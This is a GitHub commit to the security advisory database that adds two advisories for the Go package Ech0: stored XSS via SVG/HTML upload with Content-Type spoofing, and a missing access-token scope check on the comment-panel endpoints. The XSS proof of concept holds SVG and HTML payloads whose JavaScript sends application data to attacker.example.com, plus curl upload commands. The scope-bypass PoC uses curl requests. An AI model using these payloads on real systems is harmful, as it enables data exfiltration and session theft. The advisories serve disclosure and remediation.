Skip to content

Commit 98db725

Browse files
1 parent 103302a commit 98db725

7 files changed

Lines changed: 361 additions & 2 deletions

File tree

advisories/github-reviewed/2026/04/GHSA-3mcx-6wxm-qr8v/GHSA-3mcx-6wxm-qr8v.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-3mcx-6wxm-qr8v",
4-
"modified": "2026-04-10T19:47:31Z",
4+
"modified": "2026-04-10T19:48:08Z",
55
"published": "2026-04-10T19:47:31Z",
66
"aliases": [
77
"CVE-2026-40177"
@@ -11,7 +11,7 @@
1111
"severity": [
1212
{
1313
"type": "CVSS_V4",
14-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
1515
}
1616
],
1717
"affected": [
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-69hx-63pv-f8f4",
4+
"modified": "2026-04-10T19:50:01Z",
5+
"published": "2026-04-10T19:50:01Z",
6+
"aliases": [],
7+
"summary": "Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload",
8+
"details": "## Summary\n\nThe file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.\n\n## Details\n\nThe upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header:\n\n```go\ncontentType := file.Header.Get(\"Content-Type\") // client-controlled\nif !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {\n return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)\n}\n```\n\n`isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation:\n\n```go\nfunc isAllowedType(contentType string, allowedTypes []string) bool {\n for _, allowed := range allowedTypes {\n if contentType == allowed {\n return true\n }\n }\n return false\n}\n```\n\nThe original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`:\n\n```go\next := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))\n```\n\nAll locally stored files are served publicly without authentication at `internal/router/modules.go:51`:\n\n```go\nctx.Engine.Static(\"api/files\", root)\n```\n\nThis `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`.\n\nNo `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`).\n\n**Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin.\n\n**Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`.\n\n## PoC\n\n**Variant 1 — SVG XSS (simplest, default config):**\n\n```bash\n# 1. Create SVG with embedded JavaScript\ncat > evil.svg << 'SVGEOF'\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\">\n <script>\n // Steal cookies and redirect to attacker\n fetch('/api/echo/page')\n .then(r => r.json())\n .then(d => {\n new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));\n });\n </script>\n <circle cx=\"50\" cy=\"50\" r=\"40\" fill=\"red\"/>\n</svg>\nSVGEOF\n\n# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)\ncurl -X POST http://target:1024/api/files/upload \\\n -H 'Authorization: Bearer <admin-jwt>' \\\n -F 'file=@evil.svg;type=image/svg+xml' \\\n -F 'category=image' \\\n -F 'storage_type=local'\n\n# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg\n# 3. Access without authentication — JavaScript executes in application origin:\n# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg\n```\n\n**Variant 2 — Content-Type bypass with HTML:**\n\n```bash\n# 1. Create HTML with JavaScript\ncat > evil.html << 'HTMLEOF'\n<html><body>\n<script>\n document.write('<h1>XSS in ' + document.domain + '</h1>');\n // Exfiltrate data from same-origin API\n fetch('/api/echo/page').then(r=>r.json()).then(d=>{\n new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));\n });\n</script>\n</body></html>\nHTMLEOF\n\n# 2. Upload with spoofed Content-Type\ncurl -X POST http://target:1024/api/files/upload \\\n -H 'Authorization: Bearer <admin-jwt>' \\\n -F 'file=@evil.html;type=image/jpeg' \\\n -F 'category=image' \\\n -F 'storage_type=local'\n\n# 3. Access without authentication — renders as text/html:\n# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html\n```\n\n## Impact\n\n- **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.\n- **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.\n- **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.\n- **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data.\n- **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.\n\nThe admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.\n\n## Recommended Fix\n\n**1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`):\n\n```go\nimport \"net/http\"\n\n// Replace client-controlled Content-Type with server-detected type\nfunc detectContentType(file multipart.File) (string, error) {\n buf := make([]byte, 512)\n n, err := file.Read(buf)\n if err != nil && err != io.EOF {\n return \"\", err\n }\n if _, err := file.Seek(0, io.SeekStart); err != nil {\n return \"\", err\n }\n return http.DetectContentType(buf[:n]), nil\n}\n```\n\n**2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage.\n\n**3. Add security headers** in `internal/router/middleware.go`:\n\n```go\nfunc SecurityHeaders() gin.HandlerFunc {\n return func(c *gin.Context) {\n c.Header(\"X-Content-Type-Options\", \"nosniff\")\n c.Header(\"Content-Security-Policy\", \"default-src 'self'; script-src 'self'\")\n c.Next()\n }\n}\n```\n\n**4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/lin-snow/ech0"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.4.3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/lin-snow/Ech0"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-434"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-10T19:50:01Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fwg7-53p4-g33c",
4+
"modified": "2026-04-10T19:49:20Z",
5+
"published": "2026-04-10T19:49:20Z",
6+
"aliases": [],
7+
"summary": "Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass",
8+
"details": "## Summary\n\nAll 9 comment panel admin endpoints (`/api/panel/comments/*`) are missing `RequireScopes()` middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., `echo:read` only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings.\n\n## Details\n\nThe access token scope enforcement system works as follows: `JWTAuthMiddleware` (`internal/middleware/auth.go`) parses any valid JWT and injects a viewer into the request context. The `RequireScopes()` middleware (`internal/middleware/scope.go:14`) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority).\n\nEvery admin route group applies `RequireScopes()` per-handler:\n\n- `internal/router/echo.go` — uses `RequireScopes(ScopeEchoWrite)` / `RequireScopes(ScopeEchoRead)`\n- `internal/router/file.go` — uses `RequireScopes(ScopeFileRead)` / `RequireScopes(ScopeFileWrite)`\n- `internal/router/user.go` — uses `RequireScopes(ScopeAdminUser)` / `RequireScopes(ScopeProfileRead)`\n- `internal/router/setting.go` — uses `RequireScopes(ScopeAdminSettings)` / `RequireScopes(ScopeAdminToken)`\n\nHowever, `internal/router/comment.go:28-36` registers all 9 panel endpoints directly on `AuthRouterGroup` without any `RequireScopes()` call:\n\n```go\n// internal/router/comment.go:28-36\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments\", h.CommentHandler.ListPanelComments())\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/:id\", h.CommentHandler.GetCommentByID())\nappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/status\", h.CommentHandler.UpdateCommentStatus())\nappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/hot\", h.CommentHandler.UpdateCommentHot())\nappRouterGroup.AuthRouterGroup.DELETE(\"/panel/comments/:id\", h.CommentHandler.DeleteComment())\nappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/batch\", h.CommentHandler.BatchAction())\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/settings\", h.CommentHandler.GetCommentSetting())\nappRouterGroup.AuthRouterGroup.PUT(\"/panel/comments/settings\", h.CommentHandler.UpdateCommentSetting())\nappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/settings/test-email\", h.CommentHandler.TestCommentEmail())\n```\n\nThe service layer's `requireAdmin()` (`internal/service/comment/comment.go:719-732`) only validates the user's database role (`IsAdmin`/`IsOwner`), not the token's scopes:\n\n```go\nfunc (s *CommentService) requireAdmin(ctx context.Context) error {\n v := viewer.MustFromContext(ctx)\n if v == nil || strings.TrimSpace(v.UserID()) == \"\" {\n return commonModel.NewBizError(...)\n }\n user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID())\n if err != nil { return err }\n if !user.IsAdmin && !user.IsOwner {\n return commonModel.NewBizError(...)\n }\n return nil\n}\n```\n\nThe scopes `comment:read`, `comment:write`, and `comment:moderate` are defined in `internal/model/auth/scope.go:11-13` and registered as valid scopes, but are never referenced in any `RequireScopes()` middleware call anywhere in the codebase.\n\n**Execution flow:** Request with access token (scoped to `echo:read` only) → `JWTAuthMiddleware` extracts user ID, sets viewer → No `RequireScopes` middleware → Handler calls service → `requireAdmin()` checks `user.IsAdmin` (true for admin user) → Operation succeeds.\n\n## PoC\n\n```bash\n# 1. As admin, create an access token scoped ONLY to echo:read\ncurl -X POST https://target/api/settings/access-tokens \\\n -H 'Authorization: Bearer <admin-session-token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"readonly\",\"scopes\":[\"echo:read\"],\"audience\":[\"public-client\"],\"expiry_days\":30}'\n# Save the returned token as $TOKEN\n\n# 2. Verify the token CANNOT access other admin endpoints (scoped correctly):\ncurl https://target/api/settings \\\n -H \"Authorization: Bearer $TOKEN\"\n# Expected: 403 Forbidden (scope check blocks access)\n\n# 3. Use the same limited token to list ALL comments (including pending/rejected):\ncurl https://target/api/panel/comments \\\n -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK with full comment list (bypasses scope enforcement)\n\n# 4. Delete a comment:\ncurl -X DELETE https://target/api/panel/comments/<comment-id> \\\n -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK (should require comment:moderate scope)\n\n# 5. Approve/reject comments:\ncurl -X PATCH https://target/api/panel/comments/<comment-id>/status \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"status\":\"approved\"}'\n# Expected: 200 OK (should require comment:moderate scope)\n\n# 6. Read comment system settings:\ncurl https://target/api/panel/comments/settings \\\n -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK (may expose SMTP configuration)\n\n# 7. Disable the comment system entirely:\ncurl -X PUT https://target/api/panel/comments/settings \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"enable_comment\":false}'\n# Expected: 200 OK (should require admin:settings scope)\n```\n\n## Impact\n\n- **Principle of least privilege violation**: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority.\n- **Unauthorized comment moderation**: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to `echo:read`) can approve, reject, delete, and batch-modify all comments.\n- **Data exposure**: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with `comment:read` scope.\n- **Settings modification**: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials.\n- **Scope**: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem.\n\n## Recommended Fix\n\nAdd `RequireScopes()` middleware to all comment panel routes in `internal/router/comment.go`:\n\n```go\nfunc setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// ... captcha and public routes unchanged ...\n\n\t// Admin Panel — enforce scopes on access tokens\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentRead),\n\t\th.CommentHandler.ListPanelComments())\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/:id\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentRead),\n\t\th.CommentHandler.GetCommentByID())\n\tappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/status\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.UpdateCommentStatus())\n\tappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/hot\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.UpdateCommentHot())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/panel/comments/:id\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.DeleteComment())\n\tappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/batch\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.BatchAction())\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/settings\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.GetCommentSetting())\n\tappRouterGroup.AuthRouterGroup.PUT(\"/panel/comments/settings\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.UpdateCommentSetting())\n\tappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/settings/test-email\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.TestCommentEmail())\n}\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/lin-snow/ech0"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.4.3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-fwg7-53p4-g33c"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/lin-snow/Ech0"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-862"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-10T19:49:20Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)